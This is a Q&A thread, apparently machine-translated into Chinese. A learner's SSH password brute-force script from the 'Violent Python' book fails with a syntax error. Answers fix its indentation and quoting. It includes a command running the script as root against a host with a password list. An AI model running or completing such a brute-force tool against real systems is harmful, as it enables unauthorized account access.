2013-07-24 81 views
0

好吧,我使用暴力Python書,並製作了一個SSH暴力程序。當我運行下面的代碼語法錯誤,我似乎無法找到

import pxssh 
import optparse 
import time 
from threading import * 
maxConnections = 5 
connection_lock = BoundedSemaphore(value=maxconnections) 
Found = False 
Fails = 0 

def connect(host, user, password, release): 
    global Found 
    global Fails 
    try: 
     s = pxssh.pxssh() 
     s.login(host, user, password) 
     print '[+} Paassword Found: ' + password 
    Found = True 
    except Exception, e: 
     if 'read_nonblocking' in str(e): 
     Fails += 1 
      time.sleep(5) 
      connect(host, user, password, False) 
    elif 'synchronize with original prompt' in str(e): 
     time.sleep(1) 
     connect9host, user, password, False) 
    finally: 
    if release: connection_lock.release() 

def main(): 
    parser = optparse.OptionParser('usage%prog '+\ 
     '-H <target host> -u <user> -F <password list>') 
    parser.add_option('-H', dest='tgtHost', type='string', \ 
     help= 'specify target host') 
    parser.add_option('-u', dest='user', type='string', \ 
     help='specify the user') 
    parser.add_option('-F', dest='psswdFile', type='string, \ 
     help='specify password file') 
     (options, args) = parser.parse_args() 
    host = options.tgtHost 
    passwdFile = options.psswdFile 
    user = options.user 

    if host == None or psswdFile == None or user == None: 
     print parser.usage 
     exit(0) 
    fn = open(psswdFile, 'r') 
    for line in fn.readlines(): 
    if Found: 
     print "[+] Exting: Password Found." 
     exit(0) 
     if Fails > 5 
     print "[!] Exiting: Too many socket timeouts" 
     exit(0) 
    connection_lock.acquire() 
     password = line.strip('\r').strip('\n') 
    print "[-] Testing: "+str(password) 
     t = Thread(target=connect, args+(host, user, \ 
      password, True)) 
     child = t.start() 

if __name__ == '__main__': 
    main() 

,並使用下面的命令上終端運行它:

python brute_force_ssh_pxssh.py -H 10.10.1.36 -u root -F pass.txt 

我得到這個錯誤:

File "brute_force_ssh_pxssh.py", line 17 
    Found = True 
     ^
SyntaxError: invalid syntax 

我檢查了示例代碼,它是寫完全這個...任何幫助非常感謝。 (我仍然是Python的noob)。謝謝!

+0

你似乎也錯過了關閉'''以及。注意SO語法突出顯示的位置會讓人感到困惑。 – mgilson

回答

0

你有一些問題在代碼

超過17行其他的各個部分identation,它看起來像 行20,第23行(elif塊),第27行,第38行,以及48到59的行似乎不好縮進。

你也有一條線25上缺少'34號線和一個額外的)

+0

非常感謝!是的,我應該使用除純文本編輯器以外的東西> _ < –

2

縮進是錯誤的。應該是

try: 
    s = pxssh.pxssh() 
    s.login(host, user, password) 
    print '[+} Paassword Found: ' + password 
    Found = True 
except Exception, e: 
    if 'read_nonblocking' in str(e): 
     Fails += 1 
2

Found = True應該縮進。

try: 
    s = pxssh.pxssh() 
    s.login(host, user, password) 
    print '[+} Paassword Found: ' + password 
    Found = True 
except Exception, e: 
    if 'read_nonblocking' in str(e): 
    Fails += 1 
     time.sleep(5) 
     connect(host, user, password, False) 
1

縮進是有效的。找到=真應該多縮進那麼try:

這樣的:

try: 
    s = pxssh.pxssh() 
    s.login(host, user, password) 
    print '[+} Paassword Found: ' + password 
    Found = True 
except Exception, e: 
相關問題